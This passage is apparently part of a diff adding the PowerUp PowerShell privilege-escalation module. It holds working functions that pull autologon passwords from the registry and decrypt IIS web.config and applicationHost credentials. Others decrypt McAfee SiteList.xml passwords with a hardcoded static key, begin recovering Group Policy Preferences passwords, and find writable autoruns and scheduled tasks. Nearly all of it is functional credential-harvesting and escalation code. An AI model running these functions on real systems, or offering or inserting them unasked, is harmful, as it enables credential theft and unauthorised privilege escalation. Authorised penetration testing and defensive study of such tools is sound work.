$DllBytes -Encoding Byte -Path $DllPath + Write-Verbose "$TargetArchitecture DLL Hijacker written to: $DllPath" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'DllPath' $DllPath + $Out | Add-Member Noteproperty 'Architecture' $TargetArchitecture + $Out | Add-Member Noteproperty 'BatLauncherPath' $TargetBatPath + $Out | Add-Member Noteproperty 'Command' $BatCommand + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL') + $Out +} + + +######################################################## +# +# Registry Checks +# +######################################################## + +function Get-RegistryAlwaysInstallElevated { +<# +.SYNOPSIS + +Checks if any of the AlwaysInstallElevated registry keys are set. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated +or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys +are set, $False otherwise. If one of these keys are set, then all .MSI files run with +elevated permissions, regardless of current user permissions. + +.EXAMPLE + +Get-RegistryAlwaysInstallElevated + +Returns $True if any of the AlwaysInstallElevated registry keys are set. + +.OUTPUTS + +System.Boolean + +$True if RegistryAlwaysInstallElevated is set, $False otherwise. +#> + + [OutputType('System.Boolean')] + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = 'SilentlyContinue' + + if (Test-Path 'HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer') { + + $HKLMval = (Get-ItemProperty -Path 'HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)" + + if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){ + + $HKCUval = (Get-ItemProperty -Path 'HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)" + + if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ + Write-Verbose 'AlwaysInstallElevated enabled on this machine!' + $True + } + else{ + Write-Verbose 'AlwaysInstallElevated not enabled on this machine.' + $False + } + } + else{ + Write-Verbose 'AlwaysInstallElevated not enabled on this machine.' + $False + } + } + else{ + Write-Verbose 'HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist' + $False + } + $ErrorActionPreference = $OrigError +} + + +function Get-RegistryAutoLogon { +<# +.SYNOPSIS + +Finds any autologon credentials left in the registry. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Checks if any autologon accounts/credentials are set in a number of registry locations. +If they are, the credentials are extracted and returned as a custom PSObject. + +.EXAMPLE + +Get-RegistryAutoLogon + +Finds any autologon credentials left in the registry. + +.OUTPUTS + +PowerUp.RegistryAutoLogon + +Custom PSObject containing autologin credentials found in the registry. + +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb +#> + + [OutputType('PowerUp.RegistryAutoLogon')] + [CmdletBinding()] + Param() + + $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue) + Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)" + + if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) { + + $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName + $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName + $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword + $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName + $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName + $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword + + if ($DefaultUserName -or $AltDefaultUserName) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName + $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName + $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword + $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName + $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName + $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.RegistryAutoLogon') + $Out + } + } +} + +function Get-ModifiableRegistryAutoRun { +<# +.SYNOPSIS + +Returns any elevated system autoruns in which the current user can +modify part of the path string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +.DESCRIPTION + +Enumerates a number of autorun specifications in HKLM and filters any +autoruns through Get-ModifiablePath, returning any file/config locations +in the found path strings that the current user can modify. + +.EXAMPLE + +Get-ModifiableRegistryAutoRun + +Return vulneable autorun binaries (or associated configs). + +.OUTPUTS + +PowerUp.ModifiableRegistryAutoRun + +Custom PSObject containing results. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableRegistryAutoRun')] + [CmdletBinding()] + Param() + + $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService" + ) + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + + $Keys = Get-Item -Path $_ + $ParentPath = $_ + + ForEach ($Name in $Keys.GetValueNames()) { + + $Path = $($Keys.GetValue($Name)) + + $Path | Get-ModifiablePath | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out | Add-Member Aliasproperty Name Key + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableRegistryAutoRun') + $Out + } + } + } + + $ErrorActionPreference = $OrigError +} + + +######################################################## +# +# Miscellaneous checks +# +######################################################## + +function Get-ModifiableScheduledTaskFile { +<# +.SYNOPSIS + +Returns scheduled tasks where the current user can modify any file +in the associated task action string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +.DESCRIPTION + +Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" +and parses the XML specification for each task, extracting the command triggers. +Each trigger string is filtered through Get-ModifiablePath, returning any file/config +locations in the found path strings that the current user can modify. + +.EXAMPLE + +Get-ModifiableScheduledTaskFile + +Return scheduled tasks with modifiable command strings. + +.OUTPUTS + +PowerUp.ModifiableScheduledTaskFile + +Custom PSObject containing results. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableScheduledTaskFile')] + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $Path = "$($ENV:windir)\System32\Tasks" + + # recursively enumerate all schtask .xmls + Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object { + try { + $TaskName = $_.Name + $TaskXML = [xml] (Get-Content $_.FullName) + if ($TaskXML.Task.Triggers) { + + $TaskTrigger = $TaskXML.Task.Triggers.OuterXML + + # check schtask command + $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out | Add-Member Aliasproperty Name TaskName + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableScheduledTaskFile') + $Out + } + + # check schtask arguments + $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out | Add-Member Aliasproperty Name TaskName + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableScheduledTaskFile') + $Out + } + } + } + catch { + Write-Verbose "Error: $_" + } + } + $ErrorActionPreference = $OrigError +} + + +function Get-UnattendedInstallFile { +<# +.SYNOPSIS + +Checks several locations for remaining unattended installation files, +which may have deployment credentials. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.EXAMPLE + +Get-UnattendedInstallFile + +Finds any remaining unattended installation files. + +.LINK + +http://www.fuzzysecurity.com/tutorials/16.html + +.OUTPUTS + +PowerUp.UnattendedInstallFile + +Custom PSObject containing results. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.UnattendedInstallFile')] + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations = @( "c:\sysprep\sysprep.xml", + "c:\sysprep\sysprep.inf", + "c:\sysprep.inf", + (Join-Path $Env:WinDir "\Panther\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml") + ) + + # test the existence of each path and return anything found + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'UnattendPath' $_ + $Out | Add-Member Aliasproperty Name UnattendPath + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnattendedInstallFile') + $Out + } + + $ErrorActionPreference = $OrigError +} + + +function Get-WebConfig { +<# +.SYNOPSIS + +This script will recover cleartext and encrypted connection strings from all web.config +files on the system. Also, it will decrypt them if needed. + +Author: Scott Sutherland, Antti Rantasaari +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This script will identify all of the web.config files on the system and recover the +connection strings used to support authentication to backend databases. If needed, the +script will also decrypt the connection strings on the fly. The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +.EXAMPLE + +Return a list of cleartext and decrypted connect strings from web.config files. + +Get-WebConfig + +user : s1admin +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\test2 +path : C:\test2\web.config +encr : No + +user : s1user +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\inetpub\wwwroot +path : C:\inetpub\wwwroot\web.config +encr : Yes + +.EXAMPLE + +Return a list of clear text and decrypted connect strings from web.config files. + +Get-WebConfig | Format-Table -Autosize + +user pass dbserv vdir path encr +---- ---- ------ ---- ---- ---- +s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No +s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes +s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No + +.OUTPUTS + +System.Boolean + +System.Data.DataTable + +.LINK + +https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + +.NOTES + +Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. +for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings + +Author: Scott Sutherland - 2014, NetSPI +Author: Antti Rantasaari - 2014, NetSPI +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [OutputType('System.Boolean')] + [OutputType('System.Data.DataTable')] + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = 'SilentlyContinue' + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { + + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add('user') + $Null = $DataTable.Columns.Add('pass') + $Null = $DataTable.Columns.Add('dbserv') + $Null = $DataTable.Columns.Add('vdir') + $Null = $DataTable.Columns.Add('path') + $Null = $DataTable.Columns.Add('encr') + + # Get list of virtual directories in IIS + C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | + ForEach-Object { + + $CurrentVdir = $_ + + # Converts CMD style env vars (%) to powershell env vars (env) + if ($_ -like "*%*") { + $EnvarName = "`$Env:"+$_.split("%")[1] + $EnvarValue = Invoke-Expression $EnvarName + $RestofPath = $_.split('%')[2] + $CurrentVdir = $EnvarValue+$RestofPath + } + + # Search for web.config files in each virtual directory + $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object { + + # Set web.config path + $CurrentPath = $_.fullname + + # Read the data from the web.config xml file + [xml]$ConfigFile = Get-Content $_.fullname + + # Check if the connectionStrings are encrypted + if ($ConfigFile.configuration.connectionStrings.add) { + + # Foreach connection string add to data table + $ConfigFile.configuration.connectionStrings.add| + ForEach-Object { + + [String]$MyConString = $_.connectionString + if ($MyConString -like '*password*') { + $ConfUser = $MyConString.Split('=')[3].Split(';')[0] + $ConfPass = $MyConString.Split('=')[4].Split(';')[0] + $ConfServ = $MyConString.Split('=')[1].Split(';')[0] + $ConfVdir = $CurrentVdir + $ConfEnc = 'No' + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $ConfVdir, $CurrentPath, $ConfEnc) + } + } + } + else { + + # Find newest version of aspnet_regiis.exe to use (it works with older versions) + $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1 + + # Check if aspnet_regiis.exe exists + if (Test-Path ($AspnetRegiisPath.FullName)) { + + # Setup path for temp web.config to the current user's temp dir + $WebConfigPath = (Get-Item $Env:temp).FullName + '\web.config' + + # Remove existing temp web.config + if (Test-Path ($WebConfigPath)) { + Remove-Item $WebConfigPath + } + + # Copy web.config from vdir to user temp for decryption + Copy-Item $CurrentPath $WebConfigPath + + # Decrypt web.config in user temp + $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' + $Null = Invoke-Expression $AspnetRegiisCmd + + # Read the data from the web.config in temp + [xml]$TMPConfigFile = Get-Content $WebConfigPath + + # Check if the connectionStrings are still encrypted + if ($TMPConfigFile.configuration.connectionStrings.add) { + + # Foreach connection string add to data table + $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { + + [String]$MyConString = $_.connectionString + if ($MyConString -like '*password*') { + $ConfUser = $MyConString.Split('=')[3].Split(';')[0] + $ConfPass = $MyConString.Split('=')[4].Split(';')[0] + $ConfServ = $MyConString.Split('=')[1].Split(';')[0] + $ConfVdir = $CurrentVdir + $ConfEnc = 'Yes' + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ, $ConfVdir, $CurrentPath, $ConfEnc) + } + } + } + else { + Write-Verbose "Decryption of $CurrentPath failed." + $False + } + } + else { + Write-Verbose 'aspnet_regiis.exe does not exist in the default location.' + $False + } + } + } + } + + # Check if any connection strings were found + if ( $DataTable.rows.Count -gt 0 ) { + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique + } + else { + Write-Verbose 'No connection strings found.' + $False + } + } + else { + Write-Verbose 'Appcmd.exe does not exist in the default location.' + $False + } + $ErrorActionPreference = $OrigError +} + + +function Get-ApplicationHost { +<# +.SYNOPSIS + +Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. + +Author: Scott Sutherland +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This script will decrypt and recover application pool and virtual directory passwords +from the applicationHost.config file on the system. The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +.EXAMPLE + +Return application pool and virtual directory passwords from the applicationHost.config on the system. + +Get-ApplicationHost + +user : PoolUser1 +pass : PoolParty1! +type : Application Pool +vdir : NA +apppool : ApplicationPool1 +user : PoolUser2 +pass : PoolParty2! +type : Application Pool +vdir : NA +apppool : ApplicationPool2 +user : VdirUser1 +pass : VdirPassword1! +type : Virtual Directory +vdir : site1/vdir1/ +apppool : NA +user : VdirUser2 +pass : VdirPassword2! +type : Virtual Directory +vdir : site2/ +apppool : NA + +.EXAMPLE + +Return a list of cleartext and decrypted connect strings from web.config files. + +Get-ApplicationHost | Format-Table -Autosize + +user pass type vdir apppool +---- ---- ---- ---- ------- +PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 +PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 +VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA +VdirUser2 VdirPassword2! Virtual Directory site2/ NA + +.OUTPUTS + +System.Data.DataTable + +System.Boolean + +.LINK + +https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + +.NOTES + +Author: Scott Sutherland - 2014, NetSPI +Version: Get-ApplicationHost v1.0 +Comments: Should work on IIS 6 and Above +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [OutputType('System.Data.DataTable')] + [OutputType('System.Boolean')] + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = 'SilentlyContinue' + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add('user') + $Null = $DataTable.Columns.Add('pass') + $Null = $DataTable.Columns.Add('type') + $Null = $DataTable.Columns.Add('vdir') + $Null = $DataTable.Columns.Add('apppool') + + # Get list of application pools + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { + + # Get application pool name + $PoolName = $_ + + # Get username + $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" + $PoolUser = Invoke-Expression $PoolUserCmd + + # Get password + $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" + $PoolPassword = Invoke-Expression $PoolPasswordCmd + + # Check if credentials exists + if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { + # Add credentials to database + $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) + } + } + + # Get list of virtual directories + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { + + # Get Virtual Directory Name + $VdirName = $_ + + # Get username + $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" + $VdirUser = Invoke-Expression $VdirUserCmd + + # Get password + $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" + $VdirPassword = Invoke-Expression $VdirPasswordCmd + + # Check if credentials exists + if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { + # Add credentials to database + $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') + } + } + + # Check if any passwords were found + if ( $DataTable.rows.Count -gt 0 ) { + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique + } + else { + # Status user + Write-Verbose 'No application pool or virtual directory passwords were found.' + $False + } + } + else { + Write-Verbose 'Appcmd.exe does not exist in the default location.' + $False + } + $ErrorActionPreference = $OrigError +} + + +function Get-SiteListPassword { +<# +.SYNOPSIS + +Retrieves the plaintext passwords for found McAfee's SiteList.xml files. +Based on Jerome Nokin (@funoverip)'s Python solution (in links). + +Author: Jerome Nokin (@funoverip) +PowerShell Port: @harmj0y +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, +C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate +credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword +function that takes advantage of McAfee's static key encryption. Any decrypted credentials +are output in custom objects. See links for more information. + +.PARAMETER Path + +Optional path to a SiteList.xml file or folder. + +.EXAMPLE + +Get-SiteListPassword + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : +Path : Products/CommonUpdater +Name : McAfeeHttp +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : +Server : update.nai.com:80 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Paris +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : paris001 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Tokyo +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : tokyo000 + +.OUTPUTS + +PowerUp.SiteListPassword + +.LINK + +https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.SiteListPassword')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateScript({Test-Path -Path $_ })] + [String[]] + $Path + ) + + BEGIN { + function Local:Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)] + [String] + $B64Pass + ) + + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core + + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 + + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.Key = $3DESKey + + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if ($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} + } + + function Local:Get-SitelistField { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)] + [String] + $Path + ) + + try { + [Xml]$SiteListXml = Get-Content -Path $Path + + if ($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" + + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' + + if ($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if ($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } + + $Server = if ($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if ($_.ShareName) { $_.ShareName } else { $_.RelativePath } + + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $Server; + 'Path' = $Path; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword; + } + $Out = New-Object -TypeName PSObject -Property $ObjectProperties + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.SiteListPassword') + $Out + } + catch { + Write-Verbose "Error parsing node : $_" + } + } + } + } + catch { + Write-Warning "Error parsing file '$Path' : $_" + } + } + } + + PROCESS { + if ($PSBoundParameters['Path']) { + $XmlFilePaths = $Path + } + else { + $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\') + } + + $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistField -Path $_.Fullname + } + } +} + + +function Get-CachedGPPPassword { +<# +.SYNOPSIS + +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and +left in cached files on the host. + +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and +datasources.xml files and returns plaintext passwords. + +.EXAMPLE + +Get-CachedGPPPassword + +NewName : [BLANK] +Changed : {2013-04-25 18:36:07} +Passwords : {Super!!!Password} +UserNames : {SuperSecretBackdoor} +File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + +.LINK + +http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> + + [CmdletBinding()] + Param() + + # Some XML issues between versions + Set-StrictMode -Version 2 + + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core + + # helper that decodes and decrypts password + function local:Get-DecryptedCpassword { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [CmdletBinding()] + Param( + [string] $Cpassword + ) + + try { + # Append appropriate padding based on string 